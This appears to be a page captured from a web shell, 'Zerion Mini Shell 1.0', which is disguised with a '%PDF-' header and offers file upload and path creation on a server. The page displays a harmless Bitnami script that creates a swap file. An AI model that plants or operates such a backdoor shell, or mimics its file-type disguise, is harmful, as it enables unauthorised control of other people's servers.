%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/bitnami/scripts/init/
Upload File :
Create Path :
Current File : /opt/bitnami/scripts/init/swap_file

#!/bin/sh
#
# Creates swap file in micro instances
# Copyright 2020 Bitnami.com All Rights Reserved
#

. /opt/bitnami/scripts/init/functions

SWAPFILE=/mnt/.bitnami.swap
SWAPSIZE=650000

configure_swap () {
  if ! (swapon -s | grep -q $SWAPFILE) && test $SWAPSIZE -lt `df -k |grep -m1 -e '/$'|awk '{print $4}'`; then
    rm -f $SWAPFILE
    dd if=/dev/zero of=$SWAPFILE bs=1K count=$SWAPSIZE
    chmod 0600 $SWAPFILE
    mkswap $SWAPFILE
    swapon $SWAPFILE
  fi
}


instance_type=`get_generic_instance_type`
if [ "x$instance_type" = "xmicro" ] || [ "x$1" = "x--force" ]; then
  configure_swap
else
  rm -f $SWAPFILE
fi

Zerion Mini Shell 1.0